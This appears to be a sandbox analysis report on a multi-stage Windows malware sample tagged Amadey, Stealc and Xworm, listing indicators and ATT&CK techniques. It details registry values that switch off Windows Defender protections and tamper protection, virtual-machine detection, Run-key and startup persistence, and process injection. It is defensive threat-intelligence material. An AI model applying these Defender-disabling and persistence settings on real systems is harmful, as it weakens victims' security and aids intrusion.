amadey | dae649137a35a584025e94fee43e229a06818d9f9e600dd9d4a6917b2e01b6cb

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	9d780b6f18.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs

defense_evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	9d780b6f18.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	9d780b6f18.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	9d780b6f18.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	9d780b6f18.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	9d780b6f18.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	9d780b6f18.exe

Modifies Windows Defender TamperProtection settings 3 TTPs 1 IoCs

evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	9d780b6f18.exe

Modifies Windows Defender notification settings 3 TTPs 2 IoCs

defense_evasion trojan

Windows Service

Modify Registry

Disable or Modify Tools

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	9d780b6f18.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications\DisableNotifications = "1"	9d780b6f18.exe

Stealc
Stealc is an infostealer written in C++.
stealer stealc
Stealc family
stealc
Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 9 IoCs

defense_evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	TempXTPC36KUFCC4457EXMNZBIOYS8DJALGB.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	9c32fb17b4.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	0eb65cfefc.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	9d780b6f18.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	78577724d0.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	532fd2aeef.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	a4bb584db7.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	4aa41be87a.exe

Blocklisted process makes network request 1 IoCs

flow	pid	Process
4	2328	powershell.exe

Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

persistence

Active Setup

T1547.014

Modify Registry

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Microsoft\Active Setup\Installed Components	explorer.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2328	powershell.exe
2064	powershell.exe
1384	powershell.exe
956	powershell.exe
844	powershell.exe

Downloads MZ/PE file 12 IoCs

flow	pid	Process
7	1756	rapes.exe
7	1756	rapes.exe
7	1756	rapes.exe
7	1756	rapes.exe
7	1756	rapes.exe
7	1756	rapes.exe
7	1756	rapes.exe
7	1756	rapes.exe
7	1756	rapes.exe
7	1756	rapes.exe
7	1756	rapes.exe
4	2328	powershell.exe

.NET Reactor proctector 3 IoCs

Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

resource	yara_rule
behavioral1/files/0x0006000000017570-38.dat	net_reactor
behavioral1/memory/2956-46-0x0000000000080000-0x00000000000A8000-memory.dmp	net_reactor
behavioral1/memory/2196-590-0x0000000000A00000-0x0000000000A28000-memory.dmp	net_reactor

Checks BIOS information in registry 2 TTPs 18 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	9d780b6f18.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	78577724d0.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	TempXTPC36KUFCC4457EXMNZBIOYS8DJALGB.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	78577724d0.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	532fd2aeef.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	TempXTPC36KUFCC4457EXMNZBIOYS8DJALGB.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	9c32fb17b4.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	0eb65cfefc.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	0eb65cfefc.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	a4bb584db7.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	a4bb584db7.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	4aa41be87a.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	9d780b6f18.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	532fd2aeef.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	4aa41be87a.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	9c32fb17b4.exe

Drops startup file 2 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\smss.lnk	NP4kBrG.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\smss.lnk	NP4kBrG.exe

Executes dropped EXE 18 IoCs

pid	Process
2992	TempXTPC36KUFCC4457EXMNZBIOYS8DJALGB.EXE
1756	rapes.exe
2956	NP4kBrG.exe
2672	9c32fb17b4.exe
2176	0eb65cfefc.exe
1996	smss.exe
1784	75c64a5fe4.exe
3352	9d780b6f18.exe
3624	78577724d0.exe
3880	d22426bcf1.exe
2088	532fd2aeef.exe
1700	svchost015.exe
3848	a4bb584db7.exe
3688	svchost015.exe
3180	70d75e69ad.exe
3368	4aa41be87a.exe
2196	smss.exe
3864	A9cowK5.exe

Identifies Wine through registry keys 2 TTPs 9 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

defense_evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Wine	9d780b6f18.exe
Key opened	\REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Wine	532fd2aeef.exe
Key opened	\REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Wine	4aa41be87a.exe
Key opened	\REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Wine	TempXTPC36KUFCC4457EXMNZBIOYS8DJALGB.EXE
Key opened	\REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Wine	9c32fb17b4.exe
Key opened	\REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Wine	78577724d0.exe
Key opened	\REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Wine	a4bb584db7.exe
Key opened	\REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Wine	rapes.exe
Key opened	\REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Wine	0eb65cfefc.exe

Loads dropped DLL 41 IoCs

pid	Process
2328	powershell.exe
2328	powershell.exe
2992	TempXTPC36KUFCC4457EXMNZBIOYS8DJALGB.EXE
2992	TempXTPC36KUFCC4457EXMNZBIOYS8DJALGB.EXE
1756	rapes.exe
1756	rapes.exe
1756	rapes.exe
1756	rapes.exe
1756	rapes.exe
1756	rapes.exe
1756	rapes.exe
1756	rapes.exe
1756	rapes.exe
1756	rapes.exe
1756	rapes.exe
1756	rapes.exe
1756	rapes.exe
1756	rapes.exe
2088	532fd2aeef.exe
1756	rapes.exe
1756	rapes.exe
3848	a4bb584db7.exe
1756	rapes.exe
1756	rapes.exe
3216	WerFault.exe
3216	WerFault.exe
3216	WerFault.exe
3216	WerFault.exe
1756	rapes.exe
1756	rapes.exe
1756	rapes.exe
3676	MsiExec.exe
3740	rundll32.exe
3740	rundll32.exe
3740	rundll32.exe
3740	rundll32.exe
3740	rundll32.exe
3740	rundll32.exe
3740	rundll32.exe
3740	rundll32.exe
3740	rundll32.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Windows security modification 2 TTPs 2 IoCs

defense_evasion trojan

Disable or Modify Tools

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Features	9d780b6f18.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	9d780b6f18.exe

Adds Run key to start application 2 TTPs 5 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Microsoft\Windows\CurrentVersion\Run\75c64a5fe4.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10381470101\\75c64a5fe4.exe"	rapes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Microsoft\Windows\CurrentVersion\Run\9d780b6f18.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10381480101\\9d780b6f18.exe"	rapes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Microsoft\Windows\CurrentVersion\Run\smss = "C:\\Users\\Admin\\AppData\\Local\\Temp\\smss.exe"	NP4kBrG.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Microsoft\Windows\CurrentVersion\Run\9c32fb17b4.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10381450101\\9c32fb17b4.exe"	rapes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Microsoft\Windows\CurrentVersion\Run\0eb65cfefc.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10381460101\\0eb65cfefc.exe"	rapes.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe

AutoIT Executable 1 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral1/files/0x0006000000018fdf-135.dat	autoit_exe

Suspicious use of NtSetInformationThreadHideFromDebugger 9 IoCs

pid	Process
2992	TempXTPC36KUFCC4457EXMNZBIOYS8DJALGB.EXE
1756	rapes.exe
2672	9c32fb17b4.exe
2176	0eb65cfefc.exe
3352	9d780b6f18.exe
3624	78577724d0.exe
2088	532fd2aeef.exe
3848	a4bb584db7.exe
3368	4aa41be87a.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2088 set thread context of 1700	2088	532fd2aeef.exe	82
PID 3848 set thread context of 3688	3848	a4bb584db7.exe	84

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\rapes.job	TempXTPC36KUFCC4457EXMNZBIOYS8DJALGB.EXE

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 29 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	532fd2aeef.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost015.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage	75c64a5fe4.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost015.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	4aa41be87a.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	0eb65cfefc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	75c64a5fe4.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	d22426bcf1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2025-03-30_8c87bad579d801bb7bea5acc51e8fe5d_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	9d780b6f18.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	a4bb584db7.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	A9cowK5.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rapes.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	9c32fb17b4.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language	75c64a5fe4.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	78577724d0.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	TempXTPC36KUFCC4457EXMNZBIOYS8DJALGB.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\CurrentPatchLevel	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe

Kills process with taskkill 5 IoCs

defense_evasion

pid	Process
2492	taskkill.exe
1692	taskkill.exe
2888	taskkill.exe
392	taskkill.exe
2364	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Modifies registry class 6 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000_Classes\Local Settings	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	explorer.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
2340	schtasks.exe
1952	schtasks.exe

Suspicious behavior: EnumeratesProcesses 39 IoCs

pid	Process
2328	powershell.exe
2328	powershell.exe
2328	powershell.exe
2992	TempXTPC36KUFCC4457EXMNZBIOYS8DJALGB.EXE
1756	rapes.exe
2064	powershell.exe
1384	powershell.exe
956	powershell.exe
844	powershell.exe
2956	NP4kBrG.exe
2672	9c32fb17b4.exe
2672	9c32fb17b4.exe
2672	9c32fb17b4.exe
2672	9c32fb17b4.exe
2672	9c32fb17b4.exe
2176	0eb65cfefc.exe
1784	75c64a5fe4.exe
1784	75c64a5fe4.exe
1784	75c64a5fe4.exe
3352	9d780b6f18.exe
3352	9d780b6f18.exe
3352	9d780b6f18.exe
3352	9d780b6f18.exe
3624	78577724d0.exe
3624	78577724d0.exe
3624	78577724d0.exe
3624	78577724d0.exe
3624	78577724d0.exe
3624	78577724d0.exe
2088	532fd2aeef.exe
2088	532fd2aeef.exe
3848	a4bb584db7.exe
3848	a4bb584db7.exe
3368	4aa41be87a.exe
3368	4aa41be87a.exe
3368	4aa41be87a.exe
3368	4aa41be87a.exe
3368	4aa41be87a.exe
3368	4aa41be87a.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2236	explorer.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2328	powershell.exe
Token: SeDebugPrivilege	2956	NP4kBrG.exe
Token: SeDebugPrivilege	2064	powershell.exe
Token: SeDebugPrivilege	1384	powershell.exe
Token: SeDebugPrivilege	956	powershell.exe
Token: SeDebugPrivilege	844	powershell.exe
Token: SeShutdownPrivilege	2236	explorer.exe
Token: SeShutdownPrivilege	2236	explorer.exe
Token: SeDebugPrivilege	2956	NP4kBrG.exe
Token: SeShutdownPrivilege	2236	explorer.exe
Token: SeShutdownPrivilege	2236	explorer.exe
Token: SeShutdownPrivilege	2236	explorer.exe
Token: SeShutdownPrivilege	2236	explorer.exe
Token: SeShutdownPrivilege	2236	explorer.exe
Token: SeShutdownPrivilege	2236	explorer.exe
Token: SeShutdownPrivilege	2236	explorer.exe
Token: SeShutdownPrivilege	2236	explorer.exe
Token: SeShutdownPrivilege	2236	explorer.exe
Token: SeShutdownPrivilege	2236	explorer.exe
Token: SeDebugPrivilege	1996	smss.exe
Token: SeDebugPrivilege	2492	taskkill.exe
Token: SeShutdownPrivilege	2236	explorer.exe
Token: SeDebugPrivilege	1692	taskkill.exe
Token: SeDebugPrivilege	2888	taskkill.exe
Token: SeDebugPrivilege	392	taskkill.exe
Token: SeDebugPrivilege	2364	taskkill.exe
Token: SeShutdownPrivilege	2236	explorer.exe
Token: SeShutdownPrivilege	2236	explorer.exe
Token: SeShutdownPrivilege	2236	explorer.exe
Token: SeShutdownPrivilege	2236	explorer.exe
Token: SeDebugPrivilege	1704	firefox.exe
Token: SeDebugPrivilege	1704	firefox.exe
Token: SeDebugPrivilege	3352	9d780b6f18.exe
Token: SeShutdownPrivilege	2236	explorer.exe
Token: SeDebugPrivilege	2196	smss.exe
Token: SeDebugPrivilege	3864	A9cowK5.exe
Token: SeShutdownPrivilege	2236	explorer.exe
Token: SeShutdownPrivilege	3912	msiexec.exe
Token: SeIncreaseQuotaPrivilege	3912	msiexec.exe
Token: SeRestorePrivilege	3920	msiexec.exe
Token: SeTakeOwnershipPrivilege	3920	msiexec.exe
Token: SeSecurityPrivilege	3920	msiexec.exe
Token: SeCreateTokenPrivilege	3912	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	3912	msiexec.exe
Token: SeLockMemoryPrivilege	3912	msiexec.exe
Token: SeIncreaseQuotaPrivilege	3912	msiexec.exe
Token: SeMachineAccountPrivilege	3912	msiexec.exe
Token: SeTcbPrivilege	3912	msiexec.exe
Token: SeSecurityPrivilege	3912	msiexec.exe
Token: SeTakeOwnershipPrivilege	3912	msiexec.exe
Token: SeLoadDriverPrivilege	3912	msiexec.exe
Token: SeSystemProfilePrivilege	3912	msiexec.exe
Token: SeSystemtimePrivilege	3912	msiexec.exe
Token: SeProfSingleProcessPrivilege	3912	msiexec.exe
Token: SeIncBasePriorityPrivilege	3912	msiexec.exe
Token: SeCreatePagefilePrivilege	3912	msiexec.exe
Token: SeCreatePermanentPrivilege	3912	msiexec.exe
Token: SeBackupPrivilege	3912	msiexec.exe
Token: SeRestorePrivilege	3912	msiexec.exe
Token: SeShutdownPrivilege	3912	msiexec.exe
Token: SeDebugPrivilege	3912	msiexec.exe
Token: SeAuditPrivilege	3912	msiexec.exe
Token: SeSystemEnvironmentPrivilege	3912	msiexec.exe
Token: SeChangeNotifyPrivilege	3912	msiexec.exe

Suspicious use of FindShellTrayWindow 47 IoCs

pid	Process
3060	2025-03-30_8c87bad579d801bb7bea5acc51e8fe5d_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
3060	2025-03-30_8c87bad579d801bb7bea5acc51e8fe5d_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
3060	2025-03-30_8c87bad579d801bb7bea5acc51e8fe5d_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
2992	TempXTPC36KUFCC4457EXMNZBIOYS8DJALGB.EXE
2236	explorer.exe
2236	explorer.exe
2236	explorer.exe
2236	explorer.exe
2236	explorer.exe
2236	explorer.exe
2236	explorer.exe
2236	explorer.exe
2236	explorer.exe
2236	explorer.exe
2236	explorer.exe
2236	explorer.exe
2236	explorer.exe
2236	explorer.exe
2236	explorer.exe
2236	explorer.exe
2236	explorer.exe
2236	explorer.exe
2236	explorer.exe
2236	explorer.exe
2236	explorer.exe
2236	explorer.exe
2236	explorer.exe
2236	explorer.exe
1784	75c64a5fe4.exe
2236	explorer.exe
2236	explorer.exe
1784	75c64a5fe4.exe
1784	75c64a5fe4.exe
1784	75c64a5fe4.exe
1784	75c64a5fe4.exe
1784	75c64a5fe4.exe
1704	firefox.exe
1704	firefox.exe
1704	firefox.exe
1704	firefox.exe
1784	75c64a5fe4.exe
1784	75c64a5fe4.exe
1784	75c64a5fe4.exe
1784	75c64a5fe4.exe
2236	explorer.exe
2236	explorer.exe
3912	msiexec.exe

Suspicious use of SendNotifyMessage 36 IoCs

pid	Process
3060	2025-03-30_8c87bad579d801bb7bea5acc51e8fe5d_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
3060	2025-03-30_8c87bad579d801bb7bea5acc51e8fe5d_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
3060	2025-03-30_8c87bad579d801bb7bea5acc51e8fe5d_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
2236	explorer.exe
2236	explorer.exe
2236	explorer.exe
2236	explorer.exe
2236	explorer.exe
2236	explorer.exe
2236	explorer.exe
2236	explorer.exe
2236	explorer.exe
2236	explorer.exe
2236	explorer.exe
2236	explorer.exe
2236	explorer.exe
2236	explorer.exe
2236	explorer.exe
2236	explorer.exe
2236	explorer.exe
2236	explorer.exe
2236	explorer.exe
2236	explorer.exe
1784	75c64a5fe4.exe
1784	75c64a5fe4.exe
1784	75c64a5fe4.exe
1784	75c64a5fe4.exe
1784	75c64a5fe4.exe
1784	75c64a5fe4.exe
1704	firefox.exe
1704	firefox.exe
1704	firefox.exe
1784	75c64a5fe4.exe
1784	75c64a5fe4.exe
1784	75c64a5fe4.exe
1784	75c64a5fe4.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2956	NP4kBrG.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3060 wrote to memory of 1736	3060	2025-03-30_8c87bad579d801bb7bea5acc51e8fe5d_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe	30
PID 3060 wrote to memory of 1736	3060	2025-03-30_8c87bad579d801bb7bea5acc51e8fe5d_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe	30
PID 3060 wrote to memory of 1736	3060	2025-03-30_8c87bad579d801bb7bea5acc51e8fe5d_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe	30
PID 3060 wrote to memory of 1736	3060	2025-03-30_8c87bad579d801bb7bea5acc51e8fe5d_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe	30
PID 3060 wrote to memory of 2408	3060	2025-03-30_8c87bad579d801bb7bea5acc51e8fe5d_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe	31
